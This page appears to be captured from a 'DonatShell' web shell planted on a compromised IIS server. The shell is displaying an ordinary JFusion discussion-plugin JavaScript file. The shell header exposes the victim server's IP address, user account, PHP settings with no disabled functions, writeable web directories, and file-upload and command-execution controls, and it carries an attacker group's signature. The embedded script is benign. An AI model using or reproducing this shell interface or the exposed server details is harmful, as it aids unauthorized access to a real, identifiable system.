DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/webroot/news/plugins/content/discussbot/tmpl/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/webroot/news/plugins/content/discussbot/tmpl/default/jfusion.js
var ajaxMessageSlide, confirmationBoxSlides, updatepostarea, threadid, postarea, jfusionButtonArea, jfusionPostPagination, jfusionMessageArea, delayHiding;
var updatepagination = null;

function initializeDiscussbot() {
    if (jfdb_jumpto_discussion) {
        window.location = '#discussion';
    }

    //only initiate if the div container exists and if the var has not been declared Fx.Slide
    jfusionMessageArea = $('jfusionMessageArea');
    if (typeof (ajaxMessageSlide) != 'object' && jfusionMessageArea) {
        ajaxMessageSlide = new Fx.Slide('jfusionMessageArea');
        ajaxMessageSlide.hide();
    }

    //only initiate if the div container exists and if the var has not been declared Fx.Slide
	if (!(confirmationBoxSlides instanceof Array)) {
		confirmationBoxSlides = [];
	}

    if ($('jfusionButtonConfirmationBox' + jfdb_article_id) && typeof (confirmationBoxSlides['jfusionButtonConfirmationBox' + jfdb_article_id]) != 'object') {
        confirmationBoxSlides['jfusionButtonConfirmationBox' + jfdb_article_id] = new Fx.Slide('jfusionButtonConfirmationBox' + jfdb_article_id);
        confirmationBoxSlides['jfusionButtonConfirmationBox' + jfdb_article_id].hide();
    }

    var url = jfdb_article_url;
    postarea = $('jfusionPostArea');
    jfusionPostPagination = $('jfusionPostPagination');
    jfusionButtonArea = $('jfusionButtonArea' + jfdb_article_id);

    // this code will send a data object via a GET request and alert the retrieved data.

    updatepostarea = jfdb_isJ16 ? new Request.JSON({url: url ,
        onSuccess: function(JSONobject) {
            updateContent(JSONobject);
        }, onError: function(JSONobject) {
            showMessage(JSONobject, 'Error');

        }
    }) : new Ajax(url, {
        method: 'post',
        onSuccess: function(JSONobject) {
            var response = evaluateJSON(JSONobject);
            if (response) {
                updateContent(JSONobject);
            } else {
                showMessage(JSONobject, 'Error');
            }
        }, onError: function(JSONobject) {
            showMessage(JSONobject, 'Error');
        }
    });

    //load markItUp
    if (typeof jfdb_load_markitup != 'undefined') {
        var quickReply = jQuery('#quickReply');
        if (quickReply) {
            quickReply.markItUp(mySettings);
        }
    }

    //get ajax ready for submission
    if (jfdb_enable_ajax && jfusionMessageArea) {
		prepareAjax();
    }
}

function evaluateJSON(string) {
    var response;
    try {
        response = Json.evaluate(string,true);
    } catch (error){

    }
    if ((typeof response ) != 'object') {
        response = null;
    }
    return response;
}

function updateContent(JSONobject) {
    if (JSONobject.status) {
        //update the post area with the updated content
        if (postarea) {
            postarea.innerHTML = JSONobject.posts;
        }
        if (jfusionButtonArea) {
            jfusionButtonArea.innerHTML = JSONobject.buttons;
        }
        if (jfdb_enable_pagination && jfusionPostPagination) {
            jfusionPostPagination.innerHTML = JSONobject.pagination;
        }

        var submittedPostId = $('submittedPostId');
        var quickReply = $('quickReply');
        if (submittedPostId) {
            highlightPost('post' + submittedPostId.innerHTML);

            //empty the quick reply form
            quickReply.value = '';

            //remove the preview iframe if exists
            if ($('markItUpQuickReply')) {
                jQuery.markItUp({ call: 'previewClose' });
            }
            showMessage(JSONobject.message, 'Success');
            hideMessage();
        } else if ($('moderatedPostId')) {
            //empty the quick reply form
            quickReply.value = '';
            showMessage(JSONobject.message, 'Success');
            hideMessage();
        }
    } else {
        showMessage(JSONobject.message, 'Error');
    }
    var jfusionDebugContainer = $('jfusionDebugContainer' + jfdb_article_id);
    if (jfusionDebugContainer) {
        jfusionDebugContainer.innerHTML = JSONobject.debug;
    }
}

function initializeConfirmationBoxes() {
    var i;
	if (!(confirmationBoxSlides instanceof Array)) {
		confirmationBoxSlides = [];
	}
	var containers = $$('div.jfusionButtonConfirmationBox');
	if (containers) {
		for (i = 0; i < containers.length; i++) {
			var divId = containers[i].id;
            if (typeof (confirmationBoxSlides[divId]) != 'object') {
                confirmationBoxSlides[divId] = new Fx.Slide(divId);
                confirmationBoxSlides[divId].hide();
            }
		}
	}
}

function prepareAjax() {
    var i;
    var submitpost = $('submitpost');

    if (submitpost) {
        //add the submitpost function
        submitpost.addEvent('click', function (e) {
            //show a loading
            showMessage(JFDB_SUBMITTING_QUICK_REPLY, 'Loading');

            //update the post area content
            var paramString = 'tmpl=component&ajax_request=1';
            var frm = $('jfusionQuickReply' + jfdb_article_id);
            for (i = 0; i < frm.elements.length; i++) {
                if (frm.elements[i].type == "select-one") {
                    if (frm.elements[i].options[frm.elements[i].selectedIndex].value) {
                        paramString = paramString + '&' + frm.elements[i].name + '=' + frm.elements[i].options[frm.elements[i].selectedIndex].value;
                    }
                } else {
                    paramString = paramString + '&' + frm.elements[i].name + '=' + frm.elements[i].value;
                    if (frm.elements[i].id == 'threadid') {
                        threadid = frm.elements[i].value;
                    }
                }
            }

            if (jfdb_isJ16) {
                updatepostarea.post(paramString);
            } else {
                updatepostarea.request(paramString);
            }
        });
    }
}

function showMessage(msg, type) {
    //stop a slideOut if pending
    if (delayHiding) {
        clearTimeout(delayHiding);
    }

    $('jfusionMessage').innerHTML = msg;
    jfusionMessageArea.setAttribute('class', 'jfusion' + type + 'Message');
    if (type == 'Error') {
        window.location = '#jfusionMessageArea';
    }

    ajaxMessageSlide.slideIn();
}

function hideMessage() {
	delayHiding = setTimeout('ajaxMessageSlide.slideOut()', 5000);
}

function highlightPost(postid) {
    var post = $(postid);
    if (post) {
        post.setStyle('border', '2px solid #FCFC33');
        (function () { post.setStyle('border', '2px solid #afafaf'); }).delay(5000);

        if (jfdb_enable_jumpto) {
            window.location = '#' + postid;
        }
    }

}

function refreshPosts(id) {
	threadid = id;
    if (jfdb_isJ16) {
        updatepostarea.post('tmpl=component&ajax_request=1&dbtask=update_posts&threadid=' + threadid);
    } else {
        updatepostarea.request('tmpl=component&ajax_request=1&dbtask=update_posts&threadid=' + threadid);
    }
}

function confirmThreadAction(id, task, vars, url) {
	var container = $('jfusionButtonConfirmationBox' + id);
	//clear anything already there
	container.innerHTML = '';
	var msg = '';
    if (task == 'create_thread') {
        msg = JFDB_CONFIRM_THREAD_CREATION;
    } else if (task == 'unpublish_discussion') {
        msg = JFDB_CONFIRM_UNPUBLISH_DISCUSSION;
    } else if (task == 'publish_discussion') {
        msg = JFDB_CONFIRM_PUBLISH_DISCUSSION;
    }

    //set the confirmation text
    if (jfdb_isJ16) {
		new Element('span', {
			text: msg,
			styles: {
                fontWeight: "bold",
                display: "block",
                fontSize: "13px",
                padding: "5px"
			}
		}).inject(container);
    } else {
		new Element('span', {
			styles: {
                fontWeight: "bold",
                display: "block",
                fontSize: "13px",
                padding: "5px"
			}
		}).setHTML(msg).inject(container);
    }

    //create a div for the buttons
    var divBtnContainer = new Element('div', {
        styles: {
            display: 'block',
            textAlign: 'right',
            marginTop: '5px',
            marginBottom: '5px'
        }
    });

    //create standard cancel button
	new Element('input', {
		type: 'button',
		'class': 'button',
		value: JFDB_BUTTON_CANCEL,
		events: {
			click: function () {
				clearConfirmationBox(id);
			}
		}
	}).inject(divBtnContainer);

    //create the buttons
	if (task == 'create_thread') {
		new Element('input', {
			type: 'button',
			'class': 'button',
			value: JFDB_BUTTON_INITIATE,
			styles: {
				marginLeft: '3px'
			},
			events: {
				click: function () {
                    var form = $('JFusionTaskForm');
                    form.articleId.value = id;
                    form.dbtask.value = task;
                    form.submit();
				}
			}
		}).inject(divBtnContainer);
    } else if (task == 'publish_discussion') {
		new Element('input', {
			type: 'button',
			'class': 'button',
			value: JFDB_BUTTON_REPUBLISH_DISCUSSION,
			styles: {
				marginLeft: '3px'
			},
			events: {
				click: function () {
					submitAjaxRequest(id, task, vars, url);
				}
			}
		}).inject(divBtnContainer);

		new Element('input', {
			type: 'button',
			'class': 'button',
			value: JFDB_BUTTON_PUBLISH_NEW_DISCUSSION,
			styles: {
				marginLeft: '3px'
			},
			events: {
				click: function () {
                    var form = $('JFusionTaskForm');
                    form.articleId.value = id;
                    form.dbtask.value = 'create_thread';
                    form.submit();
				}
			}
		}).inject(divBtnContainer);
    } else if (task == 'unpublish_discussion') {
		new Element('input', {
			type: 'button',
			'class': 'button',
			value: JFDB_BUTTON_UNPUBLISH_DISCUSSION,
			styles: {
				marginLeft: '3px'
			},
			events: {
				click: function () {
					submitAjaxRequest(id, task, vars, url);
				}
			}
		}).inject(divBtnContainer);
    }

    //attach the buttons
    divBtnContainer.inject(container);

    //show the message
    confirmationBoxSlides['jfusionButtonConfirmationBox' + id].slideIn();
}

function clearConfirmationBox(id) {
	var container = $('jfusionButtonConfirmationBox' + id);
	if (container) {
		container.innerHTML = '';
		confirmationBoxSlides['jfusionButtonConfirmationBox' + id].hide();
	}
}

function submitAjaxRequest(id, task, vars, url) {
	clearConfirmationBox(id);

    var performTask;

    var jfusionButtonArea = $('jfusionButtonArea' + id);
    if (jfdb_isJ16) {
        performTask = new Request.JSON({url: url ,
            onSuccess: function(JSONobject) {
                updateContent(JSONobject);
            },
            method: 'post'
        });
        performTask.post('tmpl=component&ajax_request=1&dbtask=' + task + '&threadid=' + threadid + '&articleId=' + id + vars);
    } else {
        performTask = new Ajax(url, {
            method: 'post',
            onSuccess: function(JSONobject) {
                var response = evaluateJSON(JSONobject);
                if (response) {
                    updateContent(JSONobject);
                }
            }
        });
        performTask.request('tmpl=component&ajax_request=1&dbtask=' + task + '&threadid=' + threadid + '&articleId=' + id + vars);
    }
    var jfusionDebugContainer = $('jfusionDebugContainer' + id);
}

function toggleDiscussionVisibility() {
    var override = arguments[0];
    var discusslink = arguments[1];
    var showdiscussion = '';
    var discussion = $('discussion');
    if (discussion) {
        var jfusionBtnShowreplies = $('jfusionBtnShowreplies' + jfdb_article_id);
        var state = discussion.style.display;
        if (state == 'none') {
            discussion.style.display = 'block';
            jfusionBtnShowreplies.innerHTML = JFDB_HIDE_REPLIES;
            showdiscussion = 1;
        } else {
            discussion.style.display = 'none';
            jfusionBtnShowreplies.innerHTML = JFDB_SHOW_REPLIES;
            showdiscussion = 0;
        }
        if (override !== undefined) {
            showdiscussion = override;
        }
        var setdiscussionvisibility;
        if (jfdb_isJ16) {
            setdiscussionvisibility = new Request.HTML({
                url: jfdb_article_url,
                method: 'get',
                onComplete: function () {
                    if (discusslink!==undefined) {
                        window.location = discusslink;
                    }
                }
            });
            setdiscussionvisibility.post('tmpl=component&ajax_request=1&show_discussion=' + showdiscussion);
        } else {
            setdiscussionvisibility = new Ajax(jfdb_article_url, {
                method: 'get',
                onComplete: function () {
                    if (discusslink!==undefined) {
                        window.location = discusslink;
                    }
                }
            });
            setdiscussionvisibility.request('tmpl=component&ajax_request=1&show_discussion=' + showdiscussion);
        }
    } else {
        if (discusslink!==undefined) {
            window.location = discusslink;
        }
    }
}

function jfusionQuote(pid) {
    var quickReply = $('quickReply');
    quickReply.value = $('originalText' + pid).innerHTML;
    window.location = '#jfusionQuickReply';
    quickReply.focus();
}

Anon7 - 2022
AnonSec Team